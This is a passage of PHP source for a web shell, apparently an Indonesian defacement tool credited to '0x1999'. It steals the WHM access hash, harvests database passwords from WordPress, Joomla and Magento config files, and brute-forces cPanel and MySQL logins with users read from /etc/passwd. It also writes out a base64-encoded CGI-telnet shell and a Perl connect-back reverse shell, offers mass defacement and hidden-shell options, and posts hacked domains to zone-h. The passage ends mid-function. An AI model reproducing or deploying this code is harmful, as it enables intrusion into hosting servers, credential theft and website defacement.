    <td>Server IP :<font color=lime>' . gethostbyname($_SERVER["HTTP_HOST"]) . '</font>  <span class="enabled"><a href="https://www.bing.com/search?q=IP:' . gethostbyname($_SERVER["HTTP_HOST"]) . '" target="_blank">[BING]</a></span> <span class="enabled"><a href="https://centralops.net/co/domaindossier.aspx?addr=' . gethostbyname($_SERVER["HTTP_HOST"]) . '&dom_whois=true&dom_dns=true&traceroute=true&net_whois=true&svc_scan=true" target="_blank">[Dossier]</a></span> | Port : <font color=lime>' . $sport . '</font> | Your IP: <font color=lime>' . $_SERVER["REMOTE_ADDR"] . '</font></td>
	<td align="right">';
if ($server_type == "public_html") {
    if (file_exists('/home/' . $user . '/.accesshash')) {
        $whm = file_get_contents('/home/' . $user . '/.accesshash');
        $whm = preg_replace('/\s+/', '', $whm);
        echo '<input type="text" size="30" value="WHM ' . $user . ':' . $whm . '">';
    }}
echo '
  </td>
  </tr>
  <tr>
    <td>Server Type : ' . $server_type . ' | Website :<font color=lime> ' . $count2 . ' </font> Domains</td>
  </tr>
  <tr>
    <td>Safe Mode: ' . $sm . '</td>
  </tr>
  <tr>
    <td>Disable Functions:' . $show_ds . '</td>
  </tr>
  <tr>
    <td>Server Software: ' . $_SERVER["SERVER_SOFTWARE"] . ' <span class="enabled"><a href="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=' . $_SERVER["SERVER_SOFTWARE"] . '&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=" target="_blank">[Exploit DB]</a></span>
	</td>
  </tr>
  <tr>
    <td>Directory : ';
foreach ($scdir as $c_dir => $cdir) {
    echo "<a href='?dir=";
    for ($i = 0; $i <= $c_dir; $i++) {
        echo $scdir[$i];
        if ($i != $c_dir) {
            echo "/";
        }
    }
    echo "'>$cdir</a>/";
}
echo "</td>
	<td align='right'><form method='post' enctype='multipart/form-data'><input type='file' name='0xfile'><input type='submit' value='upload' name='upload'></form></td>
  </tr>
  <tr>
    <td><form method='post' action='?dir=$dir&do=cmd' style='float: left;'>
    Command :
    <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
    </form><p></p>
	</td>
	<td align='right'>" . $actx . "</td>
  </tr>
</table></div>";
echo '<a href="?">Home</a> / ';
echo "<a href='?dir=" . $dir . "&do=config'>Config</a> / ";
echo "<a href='?dir=" . $dir . "&do=jump'>Jump</a> / ";
echo "<a href='?dir=" . $dir . "&do=symlink'>Sym</a> / ";
echo "<a href='?dir=" . $dir . "&do=cpanel'>Cpanel</a> / ";
echo "<a href='?dir=" . $dir . "&do=symlink'>Sym</a> / ";
echo "<a href='?dir=" . $dir . "&do=mass_deface'>Mass</a> / ";
echo "<a href='?dir=" . $dir . "&do=mirror'>Mirror</a> / ";
echo "<a href='?dir=" . $dir . "&do=cgi'>Cgi</a> / ";
echo "<a href='?dir=" . $dir . "&do=bc'>BC</a> / ";
echo "<a href='?dir=" . $dir . "&do=about'>About</a> / ";
echo "<a href='?dir=" . $dir . "&do=serverinfo'>Server Info</a> / ";
echo "<a href='?do=deleteme'>Self Remove</a> / ";
echo "<a href='?dir=" . $dir . "&do=ndelikne'>Hidden Shell</a> / ";
echo "<a href='?dir=" . $dir . "&do=crp'>Config ResPass</a> / ";
echo "<a href='?dir=" . $dir . "&do=grabpass'>Config PassGrab</a> / ";
echo "<a href='?dir=" . $dir . "&do=hek'>Deface</a> / ";
echo "<a href='?dir=" . $dir . "&do=cpres'>Cpanel Reset</a> / ";
echo '<hr>';
/////////////////////////////////////
// if(isset($_GET['act']) && ($_GET['act'] == ''))

// START TOOLS SCRIPT
if (isset($_GET['act']) && ($_GET['act'] == 'delete')) {
    $delete = unlink($_GET['file']);
    if ($delete) {
        $act = "<script>window.location='?dir=" . $dir . "';</script>";
    } else {
        $act = "<font color=red>permission denied</font>";
    }
    echo $act;
} elseif (isset($_GET['act']) && ($_GET['act'] == 'delete_dir')) {
    function Delete($path)
    {
        $path = (substr($path, -1) == '/') ? $path : $path . '/';
        $dh   = opendir($path);
        while (($item = readdir($dh)) !== false) {
            $item = $path . $item;
            if ((basename($item) == "..") || (basename($item) == ".")) {
                continue;
            }

            $type = filetype($item);
            if ($type == "dir") {
                Delete($item);
            } else {
                @unlink($item);
            }

        }
        closedir($dh);
        @rmdir($path);}
    $delete_dir = Delete($dir);
    $act        = "<script>window.location='?dir=" . dirname($dir) . "';</script>";
    echo $act;
} elseif (isset($_POST['do_rename'])) {
    $rename = rename($_POST['oldname'], "$dir/" . htmlspecialchars($_POST['rename']) . "");
    if ($rename) {
        $act = "<script>window.location='?dir=" . $dir . "';</script>";
    } else {
        $act = "<font color=red>permission denied</font>";
    }
    echo "" . $act . "<br>";
} elseif (isset($_POST['dir_rename'])) {
    $dir_rename = rename($dir . "/" . $_POST['oldname'], "" . $dir . "/" . htmlspecialchars($_POST['fol_rename']) . "");
    if ($dir_rename) {
        $act = "<script>window.location='?dir=" . $dir . "';</script>";
    } else {
        $act = "<font color=red>permission denied</font>";
    }
    echo "" . $act . "<br>";
} elseif (isset($_GET['act']) && ($_GET['act'] == 'newfolder')) {
    if ($_POST['new_save_folder']) {
        $new_folder = $dir . '/' . htmlspecialchars($_POST['newfolder']);
        if (!mkdir($new_folder)) {
            $act = "<font color=red>permission denied</font>";
        } else {
            $act = "<script>window.location='?dir=" . $dir . "';</script>";
        }
    }
    echo $act;
} elseif (isset($_GET['act']) && ($_GET['act'] == 'view')) {
    if (is_file($_GET['file'])) {
        if (!isset($file)) {
            $file = magicboom($_GET['file']);
        }

        echo "Filename : <font color=lime>" . basename($_GET['file']) . "</font> [ <a href='?act=view&dir=$dir&file=" . $_GET['file'] . "'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=" . $_GET['file'] . "'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=" . $_GET['file'] . "'>rename</a> ] [ <a href='?act=download&dir=$dir&file=" . $_GET['file'] . "'>download</a> ] [ <a href='?act=delete&dir=$dir&file=" . $_GET['file'] . "'>delete</a> ]<br>";
        echo "<div class=\"viewfile\">";
        $file = wordwrap(@file_get_contents($file), "240", "\n");
        @highlight_string($file);
        echo "</div>";
    } elseif (is_dir($_GET['view'])) {
        echo showdir($dir, $prompt);
    }
}

//end act

elseif (isset($_GET['do']) && ($_GET['do'] == 'cpanel')) {
    if ($_POST['crack']) {
        $usercp = explode("\r\n", $_POST['user_cp']);
        $passcp = explode("\r\n", $_POST['pass_cp']);
        $i      = 0;
        foreach ($usercp as $ucp) {
            foreach ($passcp as $pcp) {
                if (@mysql_connect('localhost', $ucp, $pcp)) {
                    if ($_SESSION[$ucp] && $_SESSION[$pcp]) {
                    } else {
                        $_SESSION[$ucp] = "1";
                        $_SESSION[$pcp] = "1";
                        $i++;
                        echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
                    }
                }
            }
            session_unset();
            session_destroy();
        }
        if ($i == 0) {
        } else {
            echo "<br>Nemu " . $i . " Cpanel by <font color=lime>0x1999</font>";
        }
    } elseif ($_POST['scanpass']) {
        echo "<center>
    <form method='post'>
    USER: <br>
    <textarea style='width: 450px; height: 150px;' name='user_cp'>";
        $_usercp = $etcpasswd;
        preg_match_all("/(.*?):x:/", $_usercp, $u);
        foreach ($u[1] as $user_cp) {
            // if (is_dir("/home/$user_cp/public_html")) {
                echo "$user_cp\n";

            // }
        }
        echo "</textarea><br>
    PASS: <br>
    <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
        function cp_pass($dir)
        {
            $pass = "";
            $dira = scandir($dir);
            foreach ($dira as $dirb) {
                if (!is_file("$dir/$dirb")) {
                    continue;
                }

                $ambil = file_get_contents("$dir/$dirb");
                if (preg_match("/WordPress/", $ambil)) {
                    $pass .= ambilkata($ambil, "DB_PASSWORD', '", "'") . "\n";
                } elseif (preg_match("/JConfig|joomla/", $ambil)) {
                    $pass .= ambilkata($ambil, "password = '", "'") . "\n";
                } elseif (preg_match("/konekDB/", $ambil)) {
                    $pass .= ambilkata($ambil, "$password = '", "'") . "\n";
                } elseif (preg_match("/cmsmember/", $ambil)) {
                    $pass .= ambilkata($ambil, 'dbpasswd = "', '"') . "\n";
                } elseif (preg_match("/Magento|Mage_Core/", $ambil)) {
                    $pass .= ambilkata($ambil, "<password><![CDATA[", "]]></password>") . "\n";
                } elseif (preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
                    $pass .= ambilkata($ambil, 'password = "', '"') . "\n";
                } elseif (preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
                    $pass .= ambilkata($ambil, "'DB_PASSWORD', '", "'") . "\n";
                } elseif (preg_match("/client/", $ambil)) {
                    preg_match("/password=(.*)/", $ambil, $pass1);
                    if (preg_match('/"/', $pass1[1])) {
                        $pass1[1] = str_replace('"', "", $pass1[1]);
                        $pass .= $pass1[1] . "\n";
                    }
                } elseif (preg_match("/cc_encryption_hash/", $ambil)) {
                    $pass .= ambilkata($ambil, "db_password = '", "'") . "\n";
                }
            }
            echo $pass;
        }
        $cp_pass = cp_pass($dir);
        echo $cp_pass;
        echo "</textarea><br>
    <input type='submit' name='crack' style='width: 450px;' value='Crack'>
    </form>
    <br></center>";
    } else {
        echo "<center>
    <form method='post'>
    USER: <br>
    <textarea style='width: 450px; height: 150px;' name='user_cp'>";
        $_usercp = $etcpasswd;
        preg_match_all("/(.*?):x:/", $_usercp, $u);
        foreach ($u[1] as $user_cp) {
            // if (is_dir("/home/$user_cp/public_html")) {
                echo "$user_cp\n";

            // }
        }
        echo "</textarea><br>
    PASS: <br>
    <textarea style='width: 450px; height: 200px;' name='pass_cp'></textarea><br>
    <input type='submit' name='crack' style='width: 450px;' value='Crack'>
    <input type='submit' name='scanpass' style='width: 450px;' value='Scan Password'>
    </form>
    <br></center>";
    }
} elseif (isset($_GET['do']) && ($_GET['do'] == 'cgi')) {
    echo "<center/><br/><b><font color=blue>+--==[ cgitelnet.v1  Bypass Exploit]==--+ </font></b><br><br>";
    mkdir('cgitelnet1', 0755);
    chdir('cgitelnet1');
    $kokdosya  = ".htaccess";
    $dosya_adi = "$kokdosya";
    $dosya     = fopen($dosya_adi, 'w') or die("Dosya a&#231;&#305;lamad&#305;!");
    $metin     = "Options FollowSymLinks MultiViews Indexes ExecCGI

AddType application/x-httpd-cgi .cin

AddHandler cgi-script .cin
AddHandler cgi-script .cin";
    fwrite($dosya, $metin);
    fclose($dosya);
    $cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBSZWNvZGVkIEJ5IDB4MTk5OQoKJFdpbk5UID0gMDsKJE5UQ21kU2VwID0gIiYiOwokVW5peENtZFNlcCA9ICI7IjsKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsKJFNob3dEeW5hbWljT3V0cHV0ID0gMTsKJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7CiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsKJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7CiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7CnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOwoJcHJpbnQgPDxFTkQ7CjxodG1sPgo8aGVhZD4KPHRpdGxlPkNHSS1UZWxuZXQgVmVyc2lvbiAxLjA8L3RpdGxlPgokSHRtbE1ldGFIZWFkZXIKPC9oZWFkPgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBBMEEwQSIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9hPiB8CjxhIGhyZWY9Imh0dHA6Ly93d3cucm9oaXRhYi5jb20vY2dpc2NyaXB0cy9jZ2l0ZWxuZXQuaHRtbCI+SGVscDwvYT48YnI+Cjxmb250IGNvbG9yPSIjQzBDMEMwIiBzaXplPSIzIj4KRU5ECn0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPC9mb250PjwvYm9keT48L2h0bWw+IjsKfQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcHJpbnQgPDxFTkQ7CjwveG1wPgo8Y29kZT4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLgo8YnI+S2lsbGVkIGl0IQo8Y29kZT4KRU5ECgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CnN1YiBFeGVjdXRlQ29tbWFuZAp7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsKCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7CgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRPbGREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkT2xkRGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+IjsKCX0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dAoJewoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsKCQlwcmludCAiPGNvZGU+JFByb21wdCAkUnVuQ29tbWFuZDwvY29kZT48eG1wPiI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOwoJCWlmKCEkV2luTlQpCgkJewoJCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0OwoJCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7CgkJfQoJCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQKCQl7CgkJCSR8PTE7CgkJCSRDb21tYW5kIC49ICIgfCI7CgkJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOwoJCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJCXsKCQkJCSRfID1+IHMvKFxufFxyXG4pJC8vOwoJCQkJcHJpbnQgIiRfXG4iOwoJCQl9CgkJCSR8PTA7CgkJfQoJCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcwoJCXsKCQkJcHJpbnQgYCRDb21tYW5kYDsKCQl9CgkJaWYoISRXaW5OVCkKCQl7CgkJCWFsYXJtKDApOwoJCX0KCQlwcmludCAiPC94bXA+IjsKCX0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJJlByaW50UGFnZUZvb3RlcjsKfQomUmVhZFBhcnNlOwomR2V0Q29va2llczsKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwoKJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsKJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9OwokT3B0aW9ucyA9ICRpbnsnbyd9OwokQWN0aW9uID0gJGlueydhJ307CiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7CiRDdXJyZW50RGlyID0gJGlueydkJ307CmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpICMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZFeGVjdXRlQ29tbWFuZDsKfQo=';

    $file  = fopen("izo.cin", "w+");
    $write = fwrite($file, base64_decode($cgishellizocin));
    fclose($file);
    chmod("izo.cin", 0755);
    $netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
YXRhY2hlZFxuXG4iOw==';

    $file  = fopen("dc.pl", "w+");
    $write = fwrite($file, base64_decode($netcatshell));
    fclose($file);
    chmod("dc.pl", 0755);
    echo "<iframe src=cgitelnet1/izo.cin width=100% height=100% frameborder=0></iframe>


 </div>";

} elseif (isset($_GET['do']) && ($_GET['do'] == 'deleteme')) {
    function delete_dir($dir)
    {
        if (is_link($dir)) {
            unlink($dir);
        } elseif (!file_exists($dir)) {
            return;
        } elseif (is_dir($dir)) {
            foreach (scandir($dir) as $file) {
                if ($file != '.' && $file != '..') {
                    delete_dir("$dir/$file");
                }
            }
            rmdir($dir);
        } elseif (is_file($dir)) {
            unlink($dir);
        } else {
            echo "WARNING: Cannot delete $dir (unknown file type)\n";
        }
    }
    delete_dir(dirname(__FILE__) . "/0xsym/");
    delete_dir(dirname(__FILE__) . "/0xsymlink/");
    delete_dir(dirname(__FILE__) . "/MeLeX/");
    delete_dir(dirname(__FILE__) . "/0xsymv/");
    delete_dir(dirname(__FILE__) . "/0xsym404/");
    delete_dir(dirname(__FILE__) . "/cgitelnet1/");
    delete_dir(dirname(__FILE__) . "/0x1/");
    unlink(__FILE__);
    echo "<script>window.location='./';</script>";
} elseif (isset($_GET['do']) && ($_GET['do'] == 'mirror')) {
    if ($_POST['arsip'] == '1') {
        $domain = explode("\r\n", $_POST['url']);
        $nick   = $_POST['nick'];
        echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
        echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
        function zoneh($url, $nick)
        {
            $ch = curl_init("http://www.zone-h.com/notify/single");
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
            return curl_exec($ch);
            curl_close($ch);
        }
        foreach ($domain as $url) {
            $zoneh = zoneh($url, $nick);
            if (preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
                echo "$url -> <font color=lime>OK</font><br>";
            } else {
                echo "$url -> <font color=red>ERROR</font><br>";
            }
        }
    }if ($_POST['arsip'] == '2') {
        $site  = explode("\r\n", $_POST['sites']);
        $hekel = $_POST['nick'];
        $tim   = $_POST['tim'];
        foreach ($site as $sites) {
            $zh                       = $sites;
            $form_url                 = "https://www.defacer.id/notify";
            $data_to_post             = array();
            $data_to_post['attacker'] = "$hekel";
            $data_to_post['team']     = "$tim";
            $data_to_post['poc']      = 'SQL Injection';
            $data_to_post['url']      = "$zh";
            $curl                     = curl_init();
            curl_setopt($curl, CURLOPT_URL, $form_url);
            curl_setopt($curl, CURLOPT_POST, sizeof($data_to_post));
            curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
            curl_setopt($curl, CURLOPT_POSTFIELDS, $data_to_post);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
            $result = curl_exec($curl);
            echo $result;
            curl_close($curl);
            echo "<br>";
        }

    } else {
        echo "
		<script type='text/javascript'>//<![CDATA[
window.onload=function(){
document.getElementById('arsip').addEventListener('change', function () {
	var style = this.value == 2 ? 'block' : 'none';
    document.getElementById('defacerid').style.display = style;
});
}//]]>

</script><center>
		<form method='post'>
        <select class='select' id='arsip' name='arsip' style='width: 450px;' height='10'>
        <option value='1'>Zone-h</option>
        <option value='2'>Defacer ID</option></select><br>
		<u>Defacer</u>: <br>
        <input type='text' name='nick' size='50' value='0x1999'><br>
<div id='defacerid' style='display: none;'><br>
<u>Team</u>:<br>
        <input type='text' name='tim' size='50' value='Indonesian Code Party'><br><br>
		</div>
        <u>Domains</u>: <br>
        <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
        <input type='submit' name='submit' value='Submit' style='width: 450px;'>
        </form>";
    }
    echo "</center>";
} elseif (isset($_GET['do']) && ($_GET['do'] == 'hek')) {
    $url = "http://" . $_SERVER['SERVER_NAME'] . "/0x.htm";
